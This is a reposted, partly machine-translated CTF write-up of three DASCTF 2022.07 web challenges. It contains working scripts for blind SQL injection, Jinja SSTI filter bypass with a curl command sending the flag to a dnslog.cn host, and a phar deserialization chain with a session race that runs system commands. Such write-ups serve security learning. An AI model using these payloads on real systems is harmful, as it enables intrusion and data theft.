当前位置:网站首页>DASCTF2022.07 empowerment competition WEB topic recurrence

DASCTF2022.07 empowerment competition WEB topic recurrence

2022-08-10 17:18:00 Ki1ro

前言

其实7I want to recreate it in a month,The subject matter seems to be of high quality,But he was too lazy to read it, so he put it on hold.Now I have the ability to come back and fill the hole,But the last question is still a bit difficult for me to understand,之后再研究研究.

复现

DASCTF|2022DASCTF7月赋能赛官方Write Up

绝对防御

知识点

sql注入-布尔盲注

js路径查找

复现过程

Enter the topic to view the source code,The home page is found to be a static image,Many are citedjs

我们通过JSfinderThis tool goes to find the relevant interface

找到一个php接口SUPERAPI.php,访问查看一下

View the source code to see the front-end pairget传入的'id'Parameters are strictly filtered

 输入1或者2试了一下,会返回admin和flag

 f344ac170684aabd6b65da4faf548b67.png

Guess here is onesql注入点,The front-end filtering can actually be ignored,Mainly the back-end filtering

We pass like thispayload进行fuzz测试,Returned when there is no filteringadmin,empty when filtering

?id=1 and 'if'='if'--+

 fuzz脚本

f = open("sqlFuzz字典.txt", 'r')
strs = f.readlines()
print("---------  过滤字符")
for i in strs:
    if "'" in i:
        payload = f'1 and "{i}"="{i}"--+'
    else:
        payload = f"1 and '{i}'='{i}'--+"
    time.sleep(0.1)
    r = requests.get(url=url+payload).text
    if 'admin' not in r:
        print("---------  "+i)

The following characters are roughly filtered

union, if, insert, update, sleep, benchmark, #, &

 sleep,union过滤了,So we use boolean blinds

盲注脚本

import requests
import time
url = 'http://0dc42f8d-33c6-4e7e-97e5-3da1cfb6ef80.node4.buuoj.cn:81/SUPPERAPI.php?id='
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名
        # payload = f"1 and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))<{j} --+"

        # 爆列
        # payload = f"1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))<{j} --+"

        # # 爆值
        payload = f"1 and ascii(substr((select group_concat(password) from users),{i},1))<{j} --+"

        r = requests.get(url=url+payload).text
        time.sleep(0.1)
        if(r'admin' in r):
            max = j
        else:
            min = j

获取flag 

HardFlask

知识点

SSTI注入

复现过程

See that there is an input box,and has certain functions,You can try to guessSSTI注入

尝试{ {2*2}},发现被过滤

使用脚本fuzz一下

import requests
import time
url = 'http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/'
f = open("fuzz_dict.txt", 'r')
strs = f.readlines()
print("---------  过滤字符")
for i in strs:
    if "'" in i:
        data = {'nickname':f"{i}"}
    else:
        data = {'nickname':f'{i}'}
    time.sleep(0.1)
    r = requests.post(url=url, data=data).text
    # print(r)
    if 'Hacker! restricted characters!' in r:
        print("---------  "+i)

Roughly filter characters

', }}, {
   {, ], [, ], \,  , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers

Double quotes can also be used,So underscore worksattr加上unicode编码来绕过

{ {用{%来替代

之前尝试了lipsumChains or undefined classes don't seem to work

{
   {lipsum.__globals__['os'].popen('ls').read()}}

 So still use the most common way of thinking

{
   {"".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__.popen('whoami')}}

Find contains by scriptpopen方法的子类,输出为132,所以 i 就等于132了(官方WP是输出的133,I don't know if it's an environmental issue or what)

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__

for i in range(500):
    url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
    payload = {
            "nickname": '{%if(""|' +
                    f'attr("{cl}")' +
                    f'|attr("{ba}")' +
                    f'|attr("{gi}")(0)' +
                    f'|attr("{su}")()' +
                    f'|attr("{gi}")(' +
                    str(i) +
                    f')|attr("{ii}")' +
                    f'|attr("{go}")' +
                    f'|attr("{gi}")' +
                    f'("{po}"))' +
                    '%}success' +
                    '{%endif%}'
            }

    res = requests.post(url=url, headers=headers, data=payload)
    if 'success' in res.text:
        print(i)

应该print没有了,So we tried takeout,Takeaway has been bugging me for a long time,试了bp的collaborator还有vps似乎都行不通,最后用dnslogTakeout can be successful

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f'   # __class__
ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f'   # __bases__
gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f'  # __getitem__
su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f'    # __subclasses__
ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f'  # __init__
go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f'  # __golobals__
po = '\\u0070\\u006f\\u0070\\u0065\\u006e'  # __popen__
cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060\\u002e\\u0030\\u0072\\u0070\\u0066\\u006f\\u0037\\u002e\\u0064\\u006e\\u0073\\u006c\\u006f\\u0067\\u002e\\u0063\\u006e'
# curl `cat f*`..0rpfo7.dnslog.cn
i =132
url = "http://740bb3c6-3d77-43c2-add2-0daacdd07dc4.node4.buuoj.cn:81/"
payload = {
        "nickname": '{%if(""|' +
                f'attr("{cl}")' +
                f'|attr("{ba}")' +
                f'|attr("{gi}")(0)' +
                f'|attr("{su}")()' +
                f'|attr("{gi}")(' +
                str(i) +
                f')|attr("{ii}")' +
                f'|attr("{go}")' +
                f'|attr("{gi}")' +
                f'("{po}"))' +
                f'("{cmd}")' +
                '%}success' +
                '{%endif%}'
        }

res = requests.post(url=url, headers=headers, data=payload)
print(res.text)

获得flag

 453dbf1a12ab6a991b0bb5321dec9238.png

Ez to getflag

知识点

phar反序列化

session文件竞争

任意文件读取

文件包含

复现过程

非预期解

Because the picture viewing page is not bannedflag,Can be read directly from arbitrary files,获取根目录下的flag

 预期解

Read through image viewingupload.php,class.php,file.php的源码

先看一下class.php中uploadThe upload logic of the class

Use a whitelist to filter file suffixes,Strict filtering of file content,Looks like I want to upload onePHPTrojans are somewhat unlikely

The save filename is the filename of the uploaded filemd5值,So the file is known and controllable to us.

function file_check() { 
  $allowed_types = array("png");
  $temp = explode(".",$this->f["file"]["name"]);
  $extension = end($temp); 
  if(empty($extension)) { 
    echo "what are you uploaded? :0";
    return false;
  }
  else{ 
    if(in_array($extension,$allowed_types)) {
      $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
      $f = file_get_contents($this->f["file"]["tmp_name"]);
      if(preg_match_all($filter,$f)){
        echo 'what are you doing!! :C';
        return false;
      }
      return true; 
    } 
    else { 
      echo 'png onlyyy! XP'; 
      return false; 
    } 
  }
}
function savefile() {  
  $fname = md5($this->f["file"]["name"]).".png"; 
  if(file_exists('./upload/'.$fname)) { 
    @unlink('./upload/'.$fname);
  }
  move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
  echo "upload success! :D"; 
} 

Let's take a look at the logic of file reading,Filter many pseudo-protocols,但没有过滤phar伪协议

我们可以通过file_get_contents函数搭配pharPseudo-protocol to trigger the deserialization chain

public function show()
{
  if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
    die('illegal fname :P');
  } else {
    echo file_get_contents($this->source);
    $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
    echo "<img src={$src} />";
  }

}

The next step is to try to find the deserialization chain to exploit

我们可以通过Test类的__destruct方法作为起点,strControllable and it's printingstr,So you can find it contains__toString的类

class Test{
  public $str;
  public function __construct(){
    $this->str="It's works";
  }
  public function __destruct()
  {
    echo $this->str;
  }
}

Upload类中含有__toString方法,并且$cont和$size都可控,因为size相当于属性值,所以我们可以找__get魔术方法

__get 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用.

function __toString(){
  $cont = $this->fname;
  $size = $this->fsize;
  echo $cont->$size;
  return 'this_is_upload';
}

Show类中含有__get方法,And he called an unknown method,Then we can try to find it__call魔术方法

function __get($name)
{
  $this->ok($name);
}

通过Show类中的__call方法,我们可以调用backdoor方法

我们来看看backdoor方法是什么

public function __call($name, $arguments)
{
  if(end($arguments)=='phpinfo'){
    phpinfo();
  }else{
    $this->backdoor(end($arguments));
  }
  return $name;
}

backdoormethod for file inclusion,$door我们可控,就是前面$size,Can be changed to the filename we want to include 

public function backdoor($door){
  include($door);
  echo "hacked!!";
}

Then we have to figure out a way,How to upload the files we include to the website,Also consider whether it can be included through the log,But on the file reading page, the attempt to read the log through the default path found that it failed,Possibly the path has been modified.

It's time to start thinkingsession文件竞争

构造pop链

<?php
    class Test{
        public $str;
    }
    class Upload {
        public $fname;
        public $fsize;

    }
    class Show{
        public $source;
    }
    $test = new Test();
    $upload = new Upload();
    $show = new Show();
    $test->str = $upload;
    $upload->fname=$show;
    $upload->fsize='/tmp/sess_Ki1ro';

    // 生成phar文件
    @unlink("shell.phar");
    $phar = new Phar("shell.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($test);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

?>

通过gzip文件压缩,Bypass content detection,将后缀改为png,绕过后缀检测

再上传文件

Now start writing, reading and uploading filessessionA two-threaded script for files

import threading, requests
from hashlib import md5


url = 'http://9e57dedf-4eec-43bb-a01e-a39ed6d52f84.node4.buuoj.cn:81/'
check = True


# 触发pharThe file is deserialized to includesessionUpload progress file
def include(fileurl, s):
    global check
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
        params = {
            'f': 'phar://upload/' + fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            print(res.text)
            check = False


# 利用session.upload.progress写入临时文件
def sess_upload(uploadurl, s):
    global check
    while check:
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working';system('cat /flag') ?>"
        }
        cookies = {
            'PHPSESSID': 'chaaa'
        }
        files = {
            'file': ('chaaa.png', b'cha' * 300)
        }
        s.post(url=url, data=data, cookies=cookies, files=files)


def exp(url):
    fileurl = url + 'file.php'
    uploadurl = url + 'upload.php'

    num = threading.active_count()
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争getshell
    event = threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()
    for i in range(1, 5):
        threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
    for i in range(1, 5):
        threading.Thread(target=include, args=(fileurl, s2,)).start()
    event.set()
    while threading.active_count() != num:
        pass


if __name__ == '__main__':
    exp(url)
    print('success')

获取flag

原网站

版权声明
本文为[Ki1ro]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/222/202208101653336938.html